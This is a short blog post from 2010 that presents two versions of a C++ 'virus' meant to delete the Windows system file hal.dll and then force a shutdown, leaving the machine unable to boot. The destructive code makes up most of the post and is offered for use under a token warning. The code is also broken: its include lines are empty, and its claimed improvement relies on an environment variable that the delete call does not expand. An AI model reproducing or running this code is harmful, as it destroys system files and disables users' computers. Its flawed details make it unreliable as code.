Monday, August 30, 2010

A Deadly C++ Virus

A Deadly C++ Virus

This is a powerful C++ virus, which deletes Hal.dll, something that is required for startup. After deleting that, it shuts down, never to start again.

Warning: Do not try this on your home computer.


The Original Code:


#include
#include

using namespace std;

int main(int argc, char *argv[])
{
std::remove("C:\\windows\\system32\\hal.dll"); //PWNAGE TIME
system("shutdown -s -r");
system("PAUSE");
return EXIT_SUCCESS;
}A more advanced version of this virus which makes the C:\\Windows\\ a variable that cannot be wrong was made by getores. Here it is:


#include
#include

using namespace std;

int main(int argc, char *argv[])
{
std::remove("%systemroot%\\system32\\hal.dll"); //PWNAGE TIME
system("shutdown -s -r");
system("PAUSE");
return EXIT_SUCCESS;
}

No comments:

Post a Comment

Related Posts Plugin for WordPress, Blogger...

Disclaimer

All the postings of mine in this whole BLOG is not my own collection. All are downloaded from internet posted by some one else. I am just saving some time of our blog users to avoid searching everywhere. Am not violating any copy rights law or not any illegal action am not supposed to do.If anything is against law please notify so that they can be removed